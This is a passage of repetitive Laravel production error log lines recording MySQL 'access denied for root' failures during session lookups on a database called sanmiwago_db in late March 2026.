127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jPE4M5BHlpsSRneT4mc7COtdFUhfzw5AjunmZmJS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-21 03:33:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fSlIhcZT9qS2GVnPRfLpwhl9638BPEFTudWKqnEd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fSlIhcZT9qS2GVnPRfLpwhl9638BPEFTudWKqnEd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-21 09:28:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RL3KRC8MuXWfpOqLnydNTIbr5utroFh3SVxAMUXW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RL3KRC8MuXWfpOqLnydNTIbr5utroFh3SVxAMUXW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-21 11:12:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vYRjjMXEdV6s40gg4PziDjC5z6RuoBMlquUrsLB0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vYRjjMXEdV6s40gg4PziDjC5z6RuoBMlquUrsLB0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-21 22:50:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Xw6EO5t6uPZOhE0kf7e463OToQfyLgYQLymswr7e limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Xw6EO5t6uPZOhE0kf7e463OToQfyLgYQLymswr7e limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-21 22:57:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = I9WYa2JVlmkic1jaQQKqd60zfxs9gpxVdGTy6o5F limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = I9WYa2JVlmkic1jaQQKqd60zfxs9gpxVdGTy6o5F limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-22 00:37:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WRaMaKbhJniaFeGBKUdeBsMZxZpyaWfOqap3nr7f limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WRaMaKbhJniaFeGBKUdeBsMZxZpyaWfOqap3nr7f limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-22 05:46:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nVDIsg6E7VSuxTz8spqnOfcCT67kwb4JSYeiOLHy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nVDIsg6E7VSuxTz8spqnOfcCT67kwb4JSYeiOLHy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-23 06:44:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Jm9Vju4DtKSPgASTS8sVUNKjbqnpfxdwFewzKBng limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Jm9Vju4DtKSPgASTS8sVUNKjbqnpfxdwFewzKBng limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-23 21:16:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xU8Kd0BKjifNvCXOu2sAHDf51rkJGiTxBAHMr2U6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xU8Kd0BKjifNvCXOu2sAHDf51rkJGiTxBAHMr2U6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-24 15:11:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 03cpKbhcdAeqhoxj9nTOB5Hgb8l2APfqmZRoxCDl limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 03cpKbhcdAeqhoxj9nTOB5Hgb8l2APfqmZRoxCDl limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-24 16:09:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UquLFw1yWfJSgSD2mS1FPKQYFZl6w7H3aT0SFPmy limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = UquLFw1yWfJSgSD2mS1FPKQYFZl6w7H3aT0SFPmy limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-24 22:16:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xIndMNvwgfIRRtmomSujy0UQO7MK08hPWxVdOkYL limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = xIndMNvwgfIRRtmomSujy0UQO7MK08hPWxVdOkYL limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-25 20:41:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = i6XKnkYcMLLA5WHc2vEN708r3MIpdD5Xw412OA5C limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = i6XKnkYcMLLA5WHc2vEN708r3MIpdD5Xw412OA5C limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-25 22:32:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mkFGftq3hEVn3oTtEoFkOEQtNhD0tWKNgjUeRhdc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mkFGftq3hEVn3oTtEoFkOEQtNhD0tWKNgjUeRhdc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-26 02:50:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k12ubVHybPHVGd3YwuFN6jmDypSlt7OPwAl9v0is limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k12ubVHybPHVGd3YwuFN6jmDypSlt7OPwAl9v0is limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-26 09:59:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DB3aAxtljdJ9dJdrAbUDi7nUBa8BfGi69EdcFILo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DB3aAxtljdJ9dJdrAbUDi7nUBa8BfGi69EdcFILo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-26 19:03:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XeaAOJ8ympewdrCmwmlJisI97AegAwjiJlTnw4JN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XeaAOJ8ympewdrCmwmlJisI97AegAwjiJlTnw4JN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-26 21:46:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KmBeJCQxCc0mOsfD7tdLUgpXtj7JR38yKoxNRO9V limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KmBeJCQxCc0mOsfD7tdLUgpXtj7JR38yKoxNRO9V limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-27 05:54:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ZSC9sf63oh6w3BwaSAreBEf7EQZR0ExrmhnN49h8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ZSC9sf63oh6w3BwaSAreBEf7EQZR0ExrmhnN49h8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-27 12:28:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n45ieqUxAYi5sL8owiqG94Qx1pIvmx7GgY9lU9cW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = n45ieqUxAYi5sL8owiqG94Qx1pIvmx7GgY9lU9cW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-27 14:55:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eMJ7ZNLeSV2PBRIUTSTwxTUIk4DlZ3eqNqKLUyeG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eMJ7ZNLeSV2PBRIUTSTwxTUIk4DlZ3eqNqKLUyeG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-27 20:54:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pqfB7ow7NQu8wsCRfiRAeMoxIugnG304u47TpiIV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pqfB7ow7NQu8wsCRfiRAeMoxIugnG304u47TpiIV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-27 22:50:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dzDoB9TLrEQxTtRxMwwxsQGaXJX68P3HgH4U1BGV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = dzDoB9TLrEQxTtRxMwwxsQGaXJX68P3HgH4U1BGV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-28 04:13:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HTHY6cGgCG1J1lYpk4ovJjAOS8lltwLdeysMa9cr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HTHY6cGgCG1J1lYpk4ovJjAOS8lltwLdeysMa9cr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-28 10:26:42] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hnne4zd8QrqOxib0Qjo6YYTD65xwUkpOV7PEI1wR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hnne4zd8QrqOxib0Qjo6YYTD65xwUkpOV7PEI1wR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-28 17:19:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vzOt99KHIB5RJxLxjnscsbAtaPE7pRMASyv6Kw7N limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = vzOt99KHIB5RJxLxjnscsbAtaPE7pRMASyv6Kw7N limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-28 17:46:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = flwFqJ88e3T6bqwcZ4hveFHMzyePGeRZSAno8Wqw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = flwFqJ88e3T6bqwcZ4hveFHMzyePGeRZSAno8Wqw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 00:41:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qClhgn6LGx85Tqd356oRk4rHmmmPVggqaZWTZR8h limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qClhgn6LGx85Tqd356oRk4rHmmmPVggqaZWTZR8h limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 02:04:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iDZf3ZZtEnD9QTmVMKGqjE82SfhcDwMapuKzFyeR limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = iDZf3ZZtEnD9QTmVMKGqjE82SfhcDwMapuKzFyeR limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-29 02:49:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OxajZhXE3Wq4CnwQoYowaBx8jFMfEskJus30vnFp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 